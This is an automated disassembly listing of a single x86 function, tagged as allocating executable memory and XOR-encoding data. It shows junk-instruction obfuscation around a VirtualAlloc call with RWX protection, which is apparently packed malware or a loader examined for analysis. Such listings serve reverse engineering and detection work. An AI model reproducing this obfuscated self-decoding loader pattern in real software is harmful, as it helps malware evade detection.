Function at 0x417844
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
push ebx
push esi
push edi
test dl, dl
je 0x417853
add esp, 0xfffffff0
call fcn.004047a8
mov ebx, edx
mov edi, eax
xor edx, edx
mov eax, edi
call fcn.0040446c
mov dl, 1
mov eax, dword [0x4163bc]
call fcn.0040446c
mov dword [edi + 4], eax
lea eax, [edi + 8]
push eax
call sub.kernel32.dll_InitializeCriticalSection
mov ecx, dword [0x4164cc]
or eax, 0x4164cc
mov dl, 1
mov eax, dword [0x417374]
call fcn.00417500
mov esi, eax
mov eax, dword [edi + 4]
mov edx, esi
pushal
pushfd
mov ecx, eax
test esp, eax
jo 0x417879
add ebx, eax
xor esi, 0x2141167e
sub ebx, eax
and esi, edi
xchg ebx, eax
mov dword [0x59f5d8], 0x11bdc0e8
sub esi, eax
neg eax
dec edx
sub esi, eax
or eax, eax
dec eax
neg edx
shl ecx, 0x14
test esi, esi
jo 0x417860
mov esi, eax
shl esi, 8
and esi, edi
mov esi, esp
xor esi, eax
shl ecx, 0x10
mov esi, eax
rol edx, 0xe
sub eax, eax
dec eax
mov esi, 0x851fef2
ror eax, 1
rol ebx, 0xa
test eax, esp
jo 0x41791e
rol eax, 0x1c
not ecx
mov esi, 0x36dc89a1
sub ecx, dword [0x564b48]
add ebx, edx
mov esi, eax
dec eax
xor eax, edx
or edx, eax
mov edi, eax
rol eax, 0x1a
add esi, eax
xor edx, ebp
not eax
and esi, 0x1dedb0d8
and ecx, dword [0x5675f7]
and esi, 0x28c3b4
test ebp, esp
jb 0x41797d
add byte [ebp - 0x7ea58d1b], al
mul dh
ret
xor esi, 0xfa3c3e6
mov ecx, 0xe9a83a
shr eax, 0x18
xor edx, dword [0x4afd8e]
ror edx, 1
inc eax
mov dword [0x59f7e0], esi
test edx, 0x7a10f
jo 0x41793f
pop ecx
add bh, dh
ret 0xa10f
xchg ebx, eax
neg edx
rol esi, 0x1b
loop 0x41792e
and esi, edi
add ebx, eax
xor eax, 0xa21818f
xor esi, 0x9e3320
dec eax
or esi, edi
sub esi, dword [0x583bc0]
inc edi
or esi, edi
call fcn.0040a092
or ecx, 0x2891aaf8
not esi
xor esi, 0xad520de
fisub word [eax]
aad 0xa
or esi, edi
ror ebx, 0x19
mov esi, esi
mov ecx, 0x16f1f1
int1
int1
push ss
add bh, dh
fisubr word [ebx]
sbb eax, 0x57d64b
neg esi
sub ebx, dword [0x57d64b]
inc eax
add dword [0x59f260], ecx
add dword [0x59f4a4], ecx
inc eax
neg eax
shr esi, 0x1e
dec eax
sub ebx, dword [0x584ff8]
shr esi, 0xa
xor dword [0x59f688], edx
ror eax, 4
loop 0x41798d
not esi
xor ecx, ecx
not eax
ror ebx, 0xa
and esi, edi
sub eax, esi
mov esi, 0x11da4127
xor esi, eax
or esi, edi
add esi, eax
not eax
mov ecx, 0xad8bb1
ror esi, 0x17
rol esi, 6
mov dword [0x59f59c], 0x3fa73c7
mov edx, dword [0x4ee2e0]
neg esi
inc eax
ror esi, 0x1f
neg esi
test ebp, eax
jb 0x417989
mov edi, dword [0x50507e]
rol eax, 0x1a
or dword [0x59f314], esi
loop 0x4179dc
mov esi, ecx
sub esi, ebx
test edx, 0x2116f304
jo 0x417a7f
call fcn.0040a092
shr edx, 0xd
xor eax, esi
xor esi, eax
mov eax, 0x59c106f
rol esi, 0x12
sub ecx, eax
mov ecx, 0xc9b669
leave
add byte [ecx + 0x59f2b40d], cl
add cl, al
enter 0xffffffffffffc10d, 0xffffffffffffffc0
add al, cl
call 0x1a253b4b
mov dword [0x59f2b4], ecx
ror eax, 0xd
rol eax, 2
shr eax, 3
shl ebx, 0x19
rol eax, 2
neg esi
shl edx, 0x1b
neg eax
inc eax
test esi, ebp
jo 0x417a59
mov dword [0x59f27c], 0xdaa8fc6
inc eax
mov dword [0x59f678], 0xf919520
loop 0x417a36
jl 0x417a4d
pop ecx
add dh, al
invalid
sub esi, eax
test ebx, ecx
jb 0x417a34
call fcn.00404378
not eax
push 0x40
inc eax
xor esi, edi
sub eax, 0x1739e4a2
xor ecx, dword [0x581dfc]
add esi, eax
test dword [ecx + 0x39e4a2e8], 0xfc0d3317
sbb eax, 0xf0030058
xor edx, dword [0x52a95e]
xchg esi, eax
add edx, dword [0x4bc230]
call fcn.0040a092
xor esi, 0x3479a9d1
call fcn.0040463e
neg esi
dec ebx
xor esi, eax
ror esi, 0x1a
sub dword [0x59f702], 0xcd10a4
xor ebx, eax
add dword [0x59f208], ebx
rol ebx, 0x14
sub dword [0x59f896], 0x179b0161
push 0x3000
xchg eax, eax
sub dword [0x59f220], 0xa2dbc75
sub dword [0x59f883], 0x27a758c
not edx
inc esi
xor eax, eax
sub edx, dword [0x575e50]
xor ebx, eax
xor ecx, ecx
not esi
xor dword [0x59f2b4], 0x35075073
call fcn.00403470
not esi
rol esi, 0x1f
or dword [0x59f20e], ecx
sub ecx, dword [0x51b6e0]
xor dword [0x59f62c], edx
xor dword [0x59f7a3], 0x665e5f0
push 0x5ad
or dword [0x59f6ce], 0x182fa630
call fcn.00402e5b
inc ebx
rol edx, 0x16
xchg edx, edx
neg eax
sub esi, 0x10d5cb28
xor ebx, esp
mov dword [0x59f586], edi
sub ebx, dword [0x4a9fee]
sub dword [0x59f4cc], 0x1cc73712
xchg eax, esi
inc eax
xor edi, ebx
neg edi
call fcn.0040245f
sub edi, 0x143a3747
call fcn.004081e6
call fcn.00404004
xor dword [0x59f60c], 0x1525bfd4
push 0
xor dword [0x59f858], 0x344766c
call fcn.00409615
xor edx, ebp
call fcn.0040d986
xor edi, eax
add esi, edi
xor esi, esi
xor ebx, dword [0x57699c]
inc eax
sub esi, dword [0x509cdc]
sub edi, 0x1461d3b9
xor dword [0x59f344], 0x31210c0
neg esi
xor eax, esp
call fcn.00402f69
not edx
xor ebx, dword [0x4d3092]
call fcn.0040484d
or dword [0x59f642], 0xb91b878
call fcn.00405613
call dword [sym.imp.kernel32.dll_VirtualAlloc]
sub dword [0x59f78b], 0x31f90dac
not ecx
call fcn.00403144
xor esi, eax
xor dword [0x59f613], 0x4acbba8
lodsb al, byte [esi]
add al, 0x2b
cmp eax, 0x59f91f